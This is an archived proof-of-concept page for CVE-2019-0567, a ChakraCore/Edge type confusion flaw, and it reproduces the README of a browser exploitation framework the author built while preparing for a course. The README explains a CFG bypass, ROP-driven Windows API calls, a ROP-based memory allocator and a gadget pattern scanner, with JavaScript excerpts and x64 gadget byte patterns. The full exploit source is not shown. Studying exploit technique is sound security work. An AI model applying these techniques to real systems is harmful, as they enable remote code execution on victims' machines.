Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-0567 PoC — Microsoft Edge和ChakraCore 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Microsoft Edge和ChakraCore 缓冲区错误漏洞 (CVE-2019-0567)
Description:Microsoft Windows 10等都是美国微软(Microsoft)公司发布的一系列操作系统。Edge是其中的一个系统附带的浏览器。ChakraCore是使用在Edge的一个开源的JavaScript引擎的核心部分,也可作为单独的JavaScript引擎使用。 Microsoft Edge和ChakraCore中存在远程代码执行漏洞。远程攻击者可利用该漏洞在当前用户的上下文中执行任意代码,损坏内存。以下系统版本受到影响:Microsoft Windows 10,Windows 10版本1607,W
Description
Browser exploitation framework for Chakra (Edge). Written as part of OSEE preparation. Demo bug: CVE-2019-0567
Readme
��# Chakra Exploitation Framework



This repository contains the Browser Exploitation Framework I wrote to prepare for my [EXP-401 course](https://www.offsec.com/courses/exp-401/). The framework targets the Chakra engine, which was part of Edge until its switch to v8 in 2019.

 

The demo vulnerability used in the framework is the [CVE-2019-0567](https://project-zero.issues.chromium.org/issues/42450772) Type Confusion.



![Remote Code Execution](rce.gif)



## Features



To make this framework easy to use, I wrote some nice features which make implementing future sandbox escapes incredibly easy. 



### Abstracted Windows API calls



The framework allows Windows APIs to be called at a high level. It uses a [GetProcAddress](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/winapi.js#L75) ROP Chain to resolve any API, and allows for up to four parameters. 



```javascript

function getcomputername_example(winapi, memory_access, memory_manager) {

    // Allocate some space for our GetComputerNameA parameters

    let buffer_size = 0x100;

    let lpBuffer = memory_manager.malloc(buffer_size);

    let nSize = memory_manager.malloc(0x8);

    memory_access.write_dword(nSize, buffer_size);



    let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);



    memory_access.hexdump(lpBuffer, buffer_size);



    log("GetComputerNameA HRESULT: %p", hresult);

}

```



### leafInterpreterFrame CFG Bypass



The CFG bypass I used was the [leafInterpreterFrame](https://project-zero.issues.chromium.org/issues/42450395) technique. By walking a few objects, you are able to leak a stack address. From here, you can hunt a function pointer, overwrite it, and gain execution. Porting it to my version of Chakra was a little fiddly so I wrote a blog about it [here](https://blog.ntdelta.dev/2024-12-27-porting-a-chakra-cfg-bypass/).



A friend showed me a really nice technique to make returning to JavaScript land really easy. They wrap their CFG bypass in a `[1].map()` call, meaning they can continue execution in their parent function - it makes the code look much cleaner. You can see an example of that [here](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/winapi.js#L154)





## Custom memory allocator



Many Windows APIs require parameters and buffers to be aligned. Previously, I was calling Windows APIs by staging paramameters in the `.data` section - it was very painful. In the end, I wrote my own [memory allocator](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/memory_manager.js#L1) that calls VirtualAlloc, in ROP, and then allows other objects to `malloc` memory from the buffer. The memory allocator will [always return aligned buffers](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/memory_manager.js#L91) too!



## ROP Class



The way rop chains are written is as follows:



```javascript

let rop_buffer = this.memory_manager.malloc(0x400);

let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);



rop.pop_rcx(0x4141414141414141);



rop.getChain().map((gadget) => {

    this.memory_access.write_pointer(rop_buffer, gadget);

    rop_buffer += 8;

});

```



The underlying ROP gadgets are [implemented as little functions](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/rop.js#L28):



```javascript

pop_rcx(value) {

    this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));

    this.add_gadget(value);

}

```



This way, we can do more complex chains of gadgets to perform a higher-level action such as `pop r9`. There was no nice gadget, so it's implemented as a combination of a few:



```javascript

pop_r9(value) {

    this.pop_rax(value);

    this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));



    // Add filler for rsp

    this.nop();

    this.nop();

    this.nop();

    this.nop();



    // Add filler for rbx

    this.nop();

}

```



### ROP Pattern Scanner



To try to increase portability of the framework, there is also a ROP Pattern Scanner. It uses the `read` primitive to scan for a [sequence of bytes](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/pattern_scan.js#L72) that form the required chain.



There is also a global cache which dramatically improves the performance of the scanner.



```javascript

get_pattern(instruction) {

    let byte_patterns = {

        "mov_r9_rax": [0x4c, 0x8b, 0xc8],

        "add_rsp_20": [0x48, 0x83, 0xc4, 0x20],

        "pop_rax": [0x58],

        "pop_rbx": [0x5b],

        "pop_rsp": [0x5c],

        "pop_r8": [0x41, 0x58],

        "pop_rdx": [0x5a],

        "pop_rcx": [0x59],

        "mov_rax_deref_rcx": [0x48, 0x8b, 0x01],

        "add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],

        "add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],

        "mov_deref_rcx_rax": [0x48, 0x89, 0x01],

        "mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],

        "mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],

        "ret": [0xc3],

    };



    return byte_patterns[instruction];

}

```
File Snapshot

[4.0K] /data/pocs/3e279cd1f05f57edd9f04f1114a20e03380bb306 ├── [575K] rce.gif ├── [ 10K] README.md └── [4.0K] src ├── [ 10K] aslr.js ├── [1.9K] framework.js ├── [1.6K] index.html ├── [4.0K] memory_manager.js ├── [5.2K] pattern_scan.js ├── [5.6K] primitive.js ├── [2.7K] rop.js ├── [8.1K] sandbox_escape.js ├── [1.1K] utils.js └── [7.4K] winapi.js 1 directory, 12 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.